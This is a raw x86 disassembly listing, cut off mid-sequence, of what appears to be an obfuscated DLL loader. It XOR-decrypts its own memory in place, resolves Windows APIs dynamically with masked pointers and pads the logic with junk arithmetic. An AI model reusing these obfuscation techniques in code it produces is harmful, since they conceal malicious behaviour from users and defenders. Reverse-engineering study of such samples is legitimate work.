mov dword [0x10105abc], ecx
lea ecx, [eax + 0xcae9]
mov dword [esp + 0x14], eax
add eax, 0x28cc4
xor eax, dword [ecx]
push 0x10107b63
xor eax, 0xdcce4008
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16122]
add eax, 0x36000
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccfaccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13acf]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29134]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18416]
add eax, 0x17fea
xor eax, dword [ecx]
xor eax, 0xdccdb326
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20268
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9d6a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3399c]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4800]
add eax, 0x26110
xor eax, dword [ecx]
xor eax, 0xdcceaddc
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
sub eax, dword [0x101062e0]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9f96]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1409b]
add eax, 0xa5a64
xor eax, dword [ecx]
xor eax, 0xdcc696a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c1c]
add eax, 0x27480
xor eax, dword [ecx]
xor eax, 0xdcceb84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xec07]
add eax, 0x20320
xor eax, dword [ecx]
xor eax, 0xdccecfec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2ec8]
add eax, 0x23038
xor eax, dword [ecx]
push 0x10107e83
xor eax, 0xdccefcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42a4]
push dword [esp + 0x34]
add eax, 0x3829c
xor eax, dword [ecx]
xor eax, 0xdccf4e50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce8d]
add eax, 0x1cf00
xor eax, dword [ecx]
xor eax, 0xdccd03cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
or dword [0x10105abc], eax
add eax, 0x20034
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107c75
push dword [esp + 0x28]
xor ecx, 0xcccf9f12
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f18]
add eax, 0x36e4c
xor eax, dword [ecx]
xor eax, 0xdccfa280
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202b0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c74
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa183]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45f0]
add eax, 0x2631c
xor eax, dword [ecx]
xor eax, 0xdcceafd0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19e70]
mov edx, eax
add eax, 0x3630c
xor eax, dword [ecx]
xor eax, 0xdccfafc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279dc]
add eax, 0x3f40
xor eax, dword [ecx]
xor eax, 0xdcccf38c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14c90]
add eax, 0x20da4
xor eax, dword [ecx]
xor eax, 0xdccec168
mov dword [ecx], eax
mov eax, dword [0x10107300]
add edx, 0x9c40c6d9
mov dword [0x10103e60], edx
lea ecx, [eax + 0x32e2c]
add eax, 0x32e54
xor eax, dword [ecx]
push 8
xor eax, 0xdccfe298
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36524]
add eax, 0x36aa8
xor eax, dword [ecx]
push dword [esp + 0x44]
xor eax, 0xdccfa664
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a88]
add eax, 0x13ce0
xor eax, dword [ecx]
xor eax, 0xdccdf02c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x48e2b255
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x33cc0]
add eax, 0x1b5b7
xor eax, dword [ecx]
xor eax, 0xdccd797b
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3915]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, 0xdcce8650
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f68]
add eax, 0x24e9c
xor eax, dword [ecx]
xor eax, 0xdcce8250
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45f4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105abc]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x1f50c]
add eax, 0x33ee8
xor eax, dword [ecx]
xor eax, 0xdccff224
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c4d]
add eax, 0x231cc
xor eax, dword [ecx]
xor eax, 0xdccefd00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x45cf]
add eax, 0x202fc
xor eax, dword [ecx]
xor eax, 0xdccece30
mov dword [ecx], eax
mov eax, dword [0x101062e0]
or eax, 0x184ce0f
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
add eax, 0x20218
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0x4cccccc4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x115d3]
add eax, 0x323e8
xor eax, dword [ecx]
push 0x101074c5
xor eax, 0xdccfef24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa494c]
add eax, 0xa32f0
xor eax, dword [ecx]
push ebp
xor eax, 0xdcc6fe3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36534]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc7e9]
add eax, 0x28b5c
xor eax, dword [ecx]
xor eax, 0xdcce4790
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19bc9]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe5d5]
add eax, 0x25530
xor eax, dword [ecx]
xor eax, 0xdcce99fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e0]
add ecx, eax
mov dword [esp + 0x1c], ecx
lea ecx, [eax + 0xa863]
add eax, 0xa5a40
xor eax, dword [ecx]
xor eax, 0xdcc6968c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16c6a]
add eax, 0x231cc
xor eax, dword [ecx]
xor eax, 0xdccefd00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc1dc]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20074
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9bfa
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ab]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19819]
add eax, 0xa8fe0
xor eax, dword [ecx]
xor eax, 0xdcc6432c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x179cc]
add eax, 0x17a04
xor eax, dword [ecx]
xor eax, 0xdccdb6c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x101062e4]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xbb00]
add eax, 0x25444
xor eax, dword [ecx]
push 0x10107921
xor eax, 0xdcce9888
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1840c]
add eax, 0x20198
xor eax, dword [ecx]
push ebp
xor eax, 0xdccecd54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb6ea]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24030]
add eax, 0x23e94
xor eax, dword [ecx]
xor eax, 0xdccef258
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f20]
add eax, 0x27afc
xor eax, dword [ecx]
xor eax, 0xdcceb630
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc16a]
add eax, 0x25388
xor eax, dword [ecx]
xor eax, 0xdcce9f44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d0e]
add eax, 0x237e8
xor eax, dword [ecx]
xor eax, 0xdccefb24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9dd5]
add eax, 0x200a4
xor eax, dword [ecx]
xor eax, 0xdccecc68
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2018c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x1010785f
xor ecx, 0xcccf9916
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17a1a]
add eax, 0x17a20
xor eax, dword [ecx]
push ebp
xor eax, 0xdccdb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a403]
add eax, 0x36320
xor eax, dword [ecx]
xor eax, 0xdccfafec
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20160
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x1010765f
xor ecx, 0xcccf83e2
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25778]
add eax, 0x65e0
xor eax, dword [ecx]
push ebp
xor eax, 0xdccca92c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200e0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf800e
mov dword [eax], ecx
mov eax, dword [0x10105abc]
add eax, eax
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7572]
add eax, 0x27acc
xor eax, dword [ecx]
xor eax, 0xdcceb600
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, eax, 0x3131be1c
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3378c]
add eax, 0xa4ab8
xor eax, dword [ecx]
xor eax, 0xdcc68674
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a18d]
add eax, 0x201cc
xor eax, dword [ecx]
xor eax, 0xdccecd00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4874]
add eax, 0xa0390
xor eax, dword [ecx]
xor eax, 0xdcc6cf5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4689]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b40]
add eax, 0x275f0
xor eax, dword [ecx]
xor eax, 0xdcceb93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x97f1]
add eax, 0x200f4
xor eax, dword [ecx]
xor eax, 0xdccecc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
sub ecx, dword [0x10103e60]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x33884]
add eax, 0x33850
xor eax, dword [ecx]
xor eax, 0xdccff49c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1754c]
add eax, 0xa4bf0
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x2a9
xor eax, 0xdcc6873c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19cfb]
add eax, 0x33ab8
xor eax, dword [ecx]
xor eax, 0xdccff674
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10029616
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25770]
add eax, 0x12fc0
xor eax, dword [ecx]
push 0x10107f88
xor eax, 0xdccde30c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4cb]
add eax, 0x1ddb0
xor eax, dword [ecx]
xor eax, 0xdccd117c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb3a6]
add eax, 0x25e90
xor eax, dword [ecx]
xor eax, 0xdcce925c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36068]
add eax, 0x231b8
xor eax, dword [ecx]
xor eax, 0xdccefd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33afc]
add eax, 0x36024
xor eax, dword [ecx]
xor eax, 0xdccface8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e2c2]
add eax, 0x32afc
xor eax, dword [ecx]
xor eax, 0xdccfe630
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x1a981]
add eax, 0xa8fb4
xor eax, dword [ecx]
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b08]
add eax, 0x17d0e
xor eax, dword [ecx]
xor eax, 0xdccdb1c2
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e14]
add eax, 0x33e04
xor eax, dword [ecx]
xor eax, 0xdccff2c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279d0]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x44], eax
mov eax, dword [0x10105abc]
sub eax, dword [0x10103e60]
mov dword [esp + 0x1c], 0x1ee
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x203a4]
add eax, 0x1bc88
xor eax, dword [ecx]
xor eax, 0xdccd7044
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x101062e0]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002977d
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa455c]
add eax, 0x8e528
xor eax, dword [ecx]
xor eax, 0xdcc429e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x118ab]
add eax, 0x1ddb0
xor eax, dword [ecx]
xor eax, 0xdccd117c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13930]
add eax, 0x2036c
xor eax, dword [ecx]
xor eax, 0xdccecfa0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33524]
add eax, 0xa4a50
xor eax, dword [ecx]
xor eax, 0xdcc6869c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d218]
add eax, 0xa55c0
xor eax, dword [ecx]
xor eax, 0xdcc6990c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4274]
add eax, 0x80618
xor eax, dword [ecx]
xor eax, 0xdcc4cad4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xdf4c]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x1010536c]
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x1f77f]
add eax, 0x34244
xor eax, dword [ecx]
xor eax, 0xdccf8e88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9055]
add eax, 0x20240
xor eax, dword [ecx]
xor eax, 0xdccece8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1943e]
add eax, 0xa4f7c
xor eax, dword [ecx]
xor eax, 0xdcc683b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20390]
add eax, 0x1f890
xor eax, dword [ecx]
xor eax, 0xdccd345c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34378]
add eax, 0x1e59e
xor eax, dword [ecx]
xor eax, 0xdccd2952
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4098]
add eax, 0x26c1c
xor eax, dword [ecx]
xor eax, 0xdccea0d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e4]
push 0x101076db
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x33bb0]
add eax, 0x18135
xor eax, dword [ecx]
push ebp
xor eax, 0xdccd4df9
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20100
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107e4c
xor ecx, 0xcccf8198
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19630]
add eax, 0xa8fe0
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdcc6432c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47fc]
add eax, 0x994d8
xor eax, dword [ecx]
xor eax, 0xdcc55814
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a80]
add eax, 0x33578
xor eax, dword [ecx]
xor eax, 0xdccff9b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0c9]
add eax, 0xa52f8
xor eax, dword [ecx]
xor eax, 0xdcc69e34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ed0]
add eax, 0x27010
xor eax, dword [ecx]
xor eax, 0xdccebcdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x99cd]
add eax, 0x27de8
xor eax, dword [ecx]
xor eax, 0xdcceb124
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1f9]
add eax, 0x27e34
xor eax, dword [ecx]
xor eax, 0xdcceb2f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37b3]
add eax, 0x1f4eb
xor eax, dword [ecx]
xor eax, 0xdccd3827
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20028
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9f52
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9fa0]
add eax, 0x37164
xor eax, dword [ecx]
push 0x101073c5
push dword [esp + 0x3c]
xor eax, 0xdccfbda8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2031c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, 0xdcceced0
xor ecx, 0xcccf86ec
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14df]
add eax, 0x20300
xor eax, dword [ecx]
xor eax, 0xdccecfcc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37110]
add eax, 0x2f7e0
xor eax, dword [ecx]
xor eax, 0xdcce3b2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1387d]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd56c]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa47b4]
add eax, 0x990f0
xor eax, dword [ecx]
xor eax, 0xdcc55c3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa467c]
add eax, 0x92060
xor eax, dword [ecx]
xor eax, 0xdcc5ecac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b70]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1931b]
add eax, 0x2384c
xor eax, dword [ecx]
xor eax, 0xdccef480
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a3c]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, 0xdcceb4b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa485c]
add eax, 0x9d7b8
xor eax, dword [ecx]
xor eax, 0xdcc51b74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f02]
add eax, 0x27b50
xor eax, dword [ecx]
xor eax, 0xdcceb79c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x10105abc]
mov dword [esp + 0x1c], 0x1f3
mov dword [0x1010536c], ecx
lea ecx, [eax + 0x32f54]
add eax, 0x36e28
xor eax, dword [ecx]
xor eax, 0xdccfa2e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa16b]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x10105368]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x10029bd1
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a0f]
add eax, 0x21408
xor eax, dword [ecx]
push 0x10107c85
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e571]
add eax, 0xa8f30
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4068]
add eax, 0x26c7c
xor eax, dword [ecx]
xor eax, 0xdccea0b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12987]
add eax, 0x32824
xor eax, dword [ecx]
xor eax, 0xdccfe4e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0b2]
add eax, 0xa52cc
xor eax, dword [ecx]
xor eax, 0xdcc69e00
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d7c]
add eax, 0x58b60
xor eax, dword [ecx]
xor eax, 0xdcc947ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0ab]
add eax, 0xa52d0
xor eax, dword [ecx]
xor eax, 0xdcc69e1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32fa8]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3710c]
add eax, 0x300b8
xor eax, dword [ecx]
xor eax, 0xdccfcc74
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
mov dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4fca]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x202b4
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9c64
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32d58]
add eax, 0x32d24
xor eax, dword [ecx]
xor eax, 0xdccfe1e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19fb2]
add eax, 0x36060
xor eax, dword [ecx]
push 0x10107ba6
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3858]
add eax, 0x23038
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccefcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e64], 0
lea ecx, [eax + 0x23fac]
add eax, 0x23a58
xor eax, dword [ecx]
xor eax, 0xdccef694
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ef0]
add eax, 0x5520
xor eax, dword [ecx]
xor eax, 0xdccc99ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33528]
add eax, 0x3352c
xor eax, dword [ecx]
xor eax, 0xdccff9e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dda4]
add eax, 0x20054
xor eax, dword [ecx]
xor eax, 0xdccecc98
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20278
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, dword [esp + 0x18]
xor ecx, 0xcccf9dea
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa464c]
add eax, 0x91c40
xor eax, dword [ecx]
xor eax, 0xdcc5d08c
mov dword [ecx], eax
mov eax, dword [0x10103e60]
imul eax, eax, 0xea741e55
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e1a]
add eax, 0x32aec
xor eax, dword [ecx]
xor eax, 0xdccfe620
mov dword [ecx], eax
mov eax, dword [0x1010536c]
xor eax, edx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x749d]
add eax, 0x27a80
xor eax, dword [ecx]
xor eax, 0xdcceb64c
mov dword [ecx], eax
lea eax, [edx + edx]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37098]
add eax, 0x31ef8
xor eax, dword [ecx]
xor eax, 0xdccfd234
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254c4]
add eax, 0x2eb0
xor eax, dword [ecx]
xor eax, 0xdccce27c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x49f0]
add eax, 0x25940
xor eax, dword [ecx]
xor eax, 0xdcce958c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x20]
add ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x14a4]
add eax, 0x145a
xor eax, dword [ecx]
xor eax, 0xdcccd896
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ce5b]
add eax, 0x1cf00
xor eax, dword [ecx]
xor eax, 0xdccd03cc
mov dword [ecx], eax
mov eax, dword [0x101062e4]
sub eax, dword [0x10103e60]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1274c]
add eax, 0xa57a8
xor eax, dword [ecx]
xor eax, 0xdcc69b64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2549c]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e60]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0xe7f8]
add eax, 0x25530
xor eax, dword [ecx]
xor eax, 0xdcce99fc
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
add dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc1fa]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b88]
add eax, 0xa55bc
